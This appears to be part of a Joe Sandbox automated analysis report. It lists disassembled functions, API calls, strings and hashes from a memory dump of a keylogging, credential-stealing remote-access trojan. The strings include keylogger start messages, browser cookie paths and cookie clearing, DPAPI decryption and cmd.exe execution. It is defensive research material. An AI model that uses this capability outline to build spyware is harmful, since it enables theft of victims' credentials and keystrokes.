                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExistsFilePath
                                            • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                                            • API String ID: 1174141254-1980882731
                                            • Opcode ID: cddf59ed0f0a35ae698fc10c37901bb26126bcec9028eb75e0275fc853fc9b73
                                            • Instruction ID: 83f6a23093d6b0727a30a1d550f3d6f5bdb2bb72864fa742cd8a9fd6423befd9
                                            • Opcode Fuzzy Hash: cddf59ed0f0a35ae698fc10c37901bb26126bcec9028eb75e0275fc853fc9b73
                                            • Instruction Fuzzy Hash: AE21D37190011AD6CB05F7A2DC96CEEB778EE50719B50013FF502B31D2EF789A46C698
                                            Function 0040A179 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateThread.KERNEL32(00000000,00000000,0040A27D,?,00000000,00000000), ref: 0040A1FE
                                            • CreateThread.KERNEL32(00000000,00000000,0040A267,?,00000000,00000000), ref: 0040A20E
                                            • CreateThread.KERNEL32(00000000,00000000,0040A289,?,00000000,00000000), ref: 0040A21A
                                              • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,?), ref: 0040B172
                                              • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CreateThread$LocalTimewsprintf
                                            • String ID: Offline Keylogger Started
                                            • API String ID: 465354869-4114347211
                                            • Opcode ID: 052d9f24e9ed53101c9c6e29893d10a0ebf43ddb848004275c2ad0d2f900b3d6
                                            • Instruction ID: bcf1cfbdc14a627f6781ea3a40f7cea6448602225ce5b2be95dc640702f6c2bd
                                            • Opcode Fuzzy Hash: 052d9f24e9ed53101c9c6e29893d10a0ebf43ddb848004275c2ad0d2f900b3d6
                                            • Instruction Fuzzy Hash: DE1194B12003187AD220B7369C86CBB765DDA8139CB00057FF946222D2EA795D54CAFB
                                            Function 0040AEEE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65threadCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,?), ref: 0040B172
                                              • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                                              • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                            • CreateThread.KERNEL32(00000000,00000000,Function_0000A267,?,00000000,00000000), ref: 0040AF6E
                                            • CreateThread.KERNEL32(00000000,00000000,Function_0000A289,?,00000000,00000000), ref: 0040AF7A
                                            • CreateThread.KERNEL32(00000000,00000000,0040A295,?,00000000,00000000), ref: 0040AF86
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CreateThread$LocalTime$wsprintf
                                            • String ID: Online Keylogger Started
                                            • API String ID: 112202259-1258561607
                                            • Opcode ID: 1301e6b876f99197b04564c733fafc78f062806f1783c7b989fb50bec4e70a22
                                            • Instruction ID: a86b307176fed80e65d2d8085b20e14cf0e56bf63d45b36b749a5edd9f3e52e0
                                            • Opcode Fuzzy Hash: 1301e6b876f99197b04564c733fafc78f062806f1783c7b989fb50bec4e70a22
                                            • Instruction Fuzzy Hash: 1401C8A070031939E62076365C87D7F7A5DCA81398F40057FF645362C6D97D1C5586FB
                                            Function 00406A63 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadLibraryA.KERNEL32(crypt32), ref: 00406A82
                                            • GetProcAddress.KERNEL32(00000000), ref: 00406A89
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressLibraryLoadProc
                                            • String ID: CryptUnprotectData$crypt32
                                            • API String ID: 2574300362-2380590389
                                            • Opcode ID: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                                            • Instruction ID: d796ed41fc96dc9ef8d801536240fab0e9422483ab40f89d2a564a4d0f07de08
                                            • Opcode Fuzzy Hash: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                                            • Instruction Fuzzy Hash: 6201B535B00216ABCB18DFAD9D449ABBBB8EB49300F14817EE95AE3341D674D9008BA4
                                            Function 0040515C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46synchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                            • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00405159), ref: 00405173
                                            • CloseHandle.KERNEL32(?), ref: 004051CA
                                            • SetEvent.KERNEL32(?), ref: 004051D9
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseEventHandleObjectSingleWait
                                            • String ID: Connection Timeout
                                            • API String ID: 2055531096-499159329
                                            • Opcode ID: 0fd579d592e0ec80786bd468370273e6dda72da4d01b044bfcfe4f18e9b09a20
                                            • Instruction ID: e4880b57ed2806ada623013920947221b56867654f576af2420d72dde76e11cf
                                            • Opcode Fuzzy Hash: 0fd579d592e0ec80786bd468370273e6dda72da4d01b044bfcfe4f18e9b09a20
                                            • Instruction Fuzzy Hash: 1201D831A40F40AFE7257B368D9552BBBE0FF01302704097FE68396AE2D6789800CF59
                                            Function 0040E7C5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 45COMMON
                                            Download Yara Rule
                                            APIs
                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E833
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Exception@8Throw
                                            • String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                                            • API String ID: 2005118841-1866435925
                                            • Opcode ID: 14b47bc0c01e13b5246ea87e39f47a408aa5ce0847750dcdb3cc0488a1de7433
                                            • Instruction ID: aca7d9cae529c24a85643cb8f0975e7fdd15ab88b82278639a3f13e82648cb6f
                                            • Opcode Fuzzy Hash: 14b47bc0c01e13b5246ea87e39f47a408aa5ce0847750dcdb3cc0488a1de7433
                                            • Instruction Fuzzy Hash: 2C01B1315443086AE618F693C843FAA73585B10708F108C2FAA15761C2F67D6961C66B
                                            Function 00413814 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegCreateKeyW.ADVAPI32(80000001,00000000,004752D8), ref: 0041381F
                                            • RegSetValueExW.ADVAPI32 ref: 0041384D
                                            • RegCloseKey.ADVAPI32(004752D8), ref: 00413858
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseCreateValue
                                            • String ID: pth_unenc
                                            • API String ID: 1818849710-4028850238
                                            • Opcode ID: 0de8c57798d2a052ed48f9ba6d58c7c81afdedd1aa2e5c5a2a8de63742f16a74
                                            • Instruction ID: 91b44a8789fefabe47d0aed0b401f4e945a8dec35bb1902c17c37083bf943f80
                                            • Opcode Fuzzy Hash: 0de8c57798d2a052ed48f9ba6d58c7c81afdedd1aa2e5c5a2a8de63742f16a74
                                            • Instruction Fuzzy Hash: 83F0C271440218FBDF10AFA1EC45FEE376CEF00B56F10452AF905A61A1E7359F04DA94
                                            Function 0040DFA6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                                            Download Yara Rule
                                            APIs
                                            • std::_Lockit::_Lockit.LIBCPMT ref: 0040DFB1
                                            • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040DFF0
                                              • Part of subcall function 00435640: _Yarn.LIBCPMT ref: 0043565F
                                              • Part of subcall function 00435640: _Yarn.LIBCPMT ref: 00435683
                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E016
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
                                            • String ID: bad locale name
                                            • API String ID: 3628047217-1405518554
                                            • Opcode ID: 86f49e18a429e1939de4d1535c8c5fe7fe9a78163a93b43351c768af92284890
                                            • Instruction ID: c9d4814c50014869750c7e26a4e1a69426a580a77e14145940ab7c7d7e24a8db
                                            • Opcode Fuzzy Hash: 86f49e18a429e1939de4d1535c8c5fe7fe9a78163a93b43351c768af92284890
                                            • Instruction Fuzzy Hash: EAF081314006049AC634FA62D863B9AB7B89F14718F504A7FB906228D1EF7CBA1CCA4C
                                            Function 00416C2D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateThread.KERNEL32(00000000,00000000,Function_0001D45D,00000000,00000000,00000000), ref: 00416C47
                                            • ShowWindow.USER32(00000009), ref: 00416C61
                                            • SetForegroundWindow.USER32 ref: 00416C6D
                                              • Part of subcall function 0041CD9B: AllocConsole.KERNEL32 ref: 0041CDA4
                                              • Part of subcall function 0041CD9B: ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
                                              • Part of subcall function 0041CD9B: SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Window$ConsoleShow$AllocCreateForegroundOutputThread
                                            • String ID: !D@
                                            • API String ID: 3446828153-604454484
                                            • Opcode ID: b7364eaafb7a437eec89ed9fb4143899ef50b32a2d873a0c8232afd7958e43d5
                                            • Instruction ID: c1d0571eb829819ca76672189d51ce116019f2d3a91c4b5ec781e9fa27a10d2f
                                            • Opcode Fuzzy Hash: b7364eaafb7a437eec89ed9fb4143899ef50b32a2d873a0c8232afd7958e43d5
                                            • Instruction Fuzzy Hash: 9EF05E70158201EAD720AB62EC45AFA7B69EB54351F00483BF849D14F2DB398C85C69D
                                            Function 004160EE Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON
                                            Download Yara Rule
                                            APIs
                                            • ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 00416130
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExecuteShell
                                            • String ID: /C $cmd.exe$open
                                            • API String ID: 587946157-3896048727
                                            • Opcode ID: 64774f0173dd2414335a6a01ca4130183aa4f4d30cf83fc1238f67c292a9c67a
                                            • Instruction ID: 0a18f3537a1213b4b5dca9b82f73c842755a7e35c30cee8a650de64661b344da
                                            • Opcode Fuzzy Hash: 64774f0173dd2414335a6a01ca4130183aa4f4d30cf83fc1238f67c292a9c67a
                                            • Instruction Fuzzy Hash: 0DE0C0B0208345AAC705E775CC95CBF73ADAA94749B50483F7142A20E2EF7C9D49C659
                                            Function 0040B8AC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D0B8,004752D8,004752F0,?,pth_unenc), ref: 0040B8BB
                                            • UnhookWindowsHookEx.USER32 ref: 0040B8C7
                                            • TerminateThread.KERNEL32(0040A267,00000000,?,pth_unenc), ref: 0040B8D5
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: TerminateThread$HookUnhookWindows
                                            • String ID: pth_unenc
                                            • API String ID: 3123878439-4028850238
                                            • Opcode ID: 507b53b63eb7c6f10faa5869e7b72cd95082fe0a88c6c54c261be3869f185826
                                            • Instruction ID: 1c21f009177841ea8acfe7f5b61a435624369701cc7e40c150536a334dec3301
                                            • Opcode Fuzzy Hash: 507b53b63eb7c6f10faa5869e7b72cd95082fe0a88c6c54c261be3869f185826
                                            • Instruction Fuzzy Hash: 4AE01272205356EFD7241FA09C988267BEEDA0478A324487EF2C3626B1CA794C10CB5D
                                            Function 0040140A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleHandleA.KERNEL32(User32.dll,GetCursorInfo), ref: 00401414
                                            • GetProcAddress.KERNEL32(00000000), ref: 0040141B
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressHandleModuleProc
                                            • String ID: GetCursorInfo$User32.dll
                                            • API String ID: 1646373207-2714051624
                                            • Opcode ID: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                                            • Instruction ID: 65f79b4a2c2aed896b4012a4b0ac893fb7d0ccba54e760513c8834f3bef68171
                                            • Opcode Fuzzy Hash: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                                            • Instruction Fuzzy Hash: B4B09B70541740E7CB106BF45C4F9153555B514703B105476B44996151D7B44400C61E
                                            Function 004014AF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadLibraryA.KERNEL32(User32.dll), ref: 004014B9
                                            • GetProcAddress.KERNEL32(00000000), ref: 004014C0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressLibraryLoadProc
                                            • String ID: GetLastInputInfo$User32.dll
                                            • API String ID: 2574300362-1519888992
                                            • Opcode ID: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                                            • Instruction ID: ea73ef4d1088e939c140d9431744cb36a9dcab52d5ea7f3e4bb33043e5d41cbe
                                            • Opcode Fuzzy Hash: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                                            • Instruction Fuzzy Hash: 5EB092B45C1700FBCB106FA4AC4E9293AA9A614703B1088ABB845D2162EBB884008F9F
                                            Function 0044A004 Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: __alldvrm$_strrchr
                                            • String ID:
                                            • API String ID: 1036877536-0
                                            • Opcode ID: 4f8832beee02cc7ac8349e43431f1a5ed1ce449240751d3aeed044ff3a2741d2
                                            • Instruction ID: 0200e234d7a66e392568480c50467de0d06b46efb2a76a7ba0b74d69ca9a70f2
                                            • Opcode Fuzzy Hash: 4f8832beee02cc7ac8349e43431f1a5ed1ce449240751d3aeed044ff3a2741d2
                                            • Instruction Fuzzy Hash: 57A166319843869FFB21CF58C8817AEBBA1FF25304F1441AFE9859B382C27D8951C75A
                                            Function 00442801 Relevance: 6.1, APIs: 4, Instructions: 133COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                                            • Instruction ID: 497cf8d2f4a88fd96e7f98feeb1d24cd381d204b534fd1f3fd6e485e43360072
                                            • Opcode Fuzzy Hash: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                                            • Instruction Fuzzy Hash: EA413871A00704BFF324AF79CD41B5EBBA9EB88710F10862FF105DB681E7B999418788
                                            Function 0040C00C Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            • [Cleared browsers logins and cookies.], xrefs: 0040C0E4
                                            • Cleared browsers logins and cookies., xrefs: 0040C0F5
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Sleep
                                            • String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
                                            • API String ID: 3472027048-1236744412
                                            • Opcode ID: f04c9fcfc5d51e830be94f028420677c48269f78a09cd2570410497d2b162b15
                                            • Instruction ID: fac43f66edf0589ccdcbb227709f1a337e776f7542e83b73a027453bfa593f46
                                            • Opcode Fuzzy Hash: f04c9fcfc5d51e830be94f028420677c48269f78a09cd2570410497d2b162b15
                                            • Instruction Fuzzy Hash: 2531C804348380E9D6116BF554567AB7B814E93744F08457FB9C42B3D3D97E4848C7AF
                                            Function 0040A529 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71sleepCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0041C551: GetForegroundWindow.USER32 ref: 0041C561
                                              • Part of subcall function 0041C551: GetWindowTextLengthW.USER32 ref: 0041C56A
                                              • Part of subcall function 0041C551: GetWindowTextW.USER32 ref: 0041C594
                                            • Sleep.KERNEL32(000001F4), ref: 0040A573
                                            • Sleep.KERNEL32(00000064), ref: 0040A5FD
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Window$SleepText$ForegroundLength
                                            • String ID: [ $ ]
                                            • API String ID: 3309952895-93608704
                                            • Opcode ID: e4ff9062ebc1855ffc8709a41a4aeb88848ac43e96cbaf8abbe5df7ed01e55c0
                                            • Instruction ID: 97bd403738d1ca0cb59e80c1fc79ee6201ed0cb329172f4776a94889a39aca56
                                            • Opcode Fuzzy Hash: e4ff9062ebc1855ffc8709a41a4aeb88848ac43e96cbaf8abbe5df7ed01e55c0
                                            • Instruction Fuzzy Hash: FE119F315043006BC614BB65CC5399F77A8AF50308F40053FF552665E2FF79AA5886DB
                                            Function 00443A33 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: e504ac4fddb0f8a25c6be19684a152be264dadb57d82260706401bb5bc5fb7a8
                                            • Instruction ID: 17f232e73e96fb976a24982deb7d35e81c220cd9520ca4ef7e8dcf180de91df6
                                            • Opcode Fuzzy Hash: e504ac4fddb0f8a25c6be19684a152be264dadb57d82260706401bb5bc5fb7a8
                                            • Instruction Fuzzy Hash: 1301F2B36497067EFA202E786CC1F67220CDF41BBEB34032BB574712D1DA68CE404568
                                            Function 00443AB2 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 253450334f16ac4bada5e464aed069c53fdbe8794578123440a1a1ba72333804
                                            • Instruction ID: 34d970f17befced98e3ca294e9c9a609e5e7bfbb0444a55afbb34e25ce639c56
                                            • Opcode Fuzzy Hash: 253450334f16ac4bada5e464aed069c53fdbe8794578123440a1a1ba72333804
                                            • Instruction Fuzzy Hash: 0601A2B26096117EFA111E796CC4E27624CDB81BBF325032BF535612D6DA688E014169
                                            Function 0041C485 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                                            • GetFileSize.KERNEL32(00000000,00000000), ref: 0041C4B2
                                            • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041C4D7
                                            • CloseHandle.KERNEL32(00000000), ref: 0041C4E5
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$CloseCreateHandleReadSize
                                            • String ID:
                                            • API String ID: 3919263394-0
                                            • Opcode ID: 3271d486463dfc93c477f1e2c7ad2cd28a4a76e92964f49fc02a4406d9477efd
                                            • Instruction ID: d938e931a51b81dfe9e25773ede9364464a286a3a3b97e7b856b7b87d8bf29b3
                                            • Opcode Fuzzy Hash: 3271d486463dfc93c477f1e2c7ad2cd28a4a76e92964f49fc02a4406d9477efd
                                            • Instruction Fuzzy Hash: 0FF0C2B1245308BFE6101B25ACD4EBB375CEB867A9F00053EF902A22C1CA298C05913A
                                            Function 0041C1DD Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                                            • OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                                            • CloseHandle.KERNEL32(00000000), ref: 0041C233
                                            • CloseHandle.KERNEL32(00000000), ref: 0041C23B
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseHandleOpenProcess
                                            • String ID:
                                            • API String ID: 39102293-0
                                            • Opcode ID: 449f4402ebb840a84195bd3231048093a1951801f3bdb5f0a33f363ac88d28a1
                                            • Instruction ID: 502f13a9e38f74389cb09c542eced9ec4ef47df168bad581006c654e14f0d55b
                                            • Opcode Fuzzy Hash: 449f4402ebb840a84195bd3231048093a1951801f3bdb5f0a33f363ac88d28a1
                                            • Instruction Fuzzy Hash: 53012BB1680315ABD61057D49C89FB7B27CDB84796F0000A7FA04D21D2EF748C818679
                                            Function 00439863 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • ___BuildCatchObject.LIBVCRUNTIME ref: 0043987A
                                              • Part of subcall function 00439EB2: ___AdjustPointer.LIBCMT ref: 00439EFC
                                            • _UnwindNestedFrames.LIBCMT ref: 00439891
                                            • ___FrameUnwindToState.LIBVCRUNTIME ref: 004398A3
                                            • CallCatchBlock.LIBVCRUNTIME ref: 004398C7
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
                                            • String ID:
                                            • API String ID: 2633735394-0
                                            • Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                                            • Instruction ID: dcee73c62e3621a690853eebe59cad03ae51e1002f288686f44977c5109bb855
                                            • Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                                            • Instruction Fuzzy Hash: 18011732000109BBCF12AF55CC01EDA3BBAEF9D754F04511AFD5861221C3BAE861DBA5
                                            Function 004193E3 Relevance: 6.0, APIs: 4, Instructions: 43COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: MetricsSystem
                                            • String ID:
                                            • API String ID: 4116985748-0
                                            • Opcode ID: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                                            • Instruction ID: 9a44d86f369c7068fc2c949f9b02ed5542bf43da40f6b7222f807aea32733f55
                                            • Opcode Fuzzy Hash: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                                            • Instruction Fuzzy Hash: DFF0A471B043155BD744EA759C51A6F6BD5EBD4264F10043FF20887281EE78DC468785
                                            Function 00438F31 Relevance: 6.0, APIs: 4, Instructions: 14COMMON
                                            Download Yara Rule
                                            APIs
                                            • ___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00438F31
                                            • ___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00438F36
                                            • ___vcrt_initialize_locks.LIBVCRUNTIME ref: 00438F3B
                                              • Part of subcall function 0043A43A: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 0043A44B
                                            • ___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00438F50
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
                                            • String ID:
                                            • API String ID: 1761009282-0
                                            • Opcode ID: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                                            • Instruction ID: 04dbcd9d80b8837b95b31ffc0e846904d80335f120ca5f78e3accc67d081205e
                                            • Opcode Fuzzy Hash: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                                            • Instruction Fuzzy Hash: 59C04C15080781541C50B6B2210B2AE83461E7E38DFD074DFFCE0571038E4E043B653F
                                            Function 00442C5D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                                            Download Yara Rule
                                            APIs
                                            • __startOneArgErrorHandling.LIBCMT ref: 00442CED
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorHandling__start
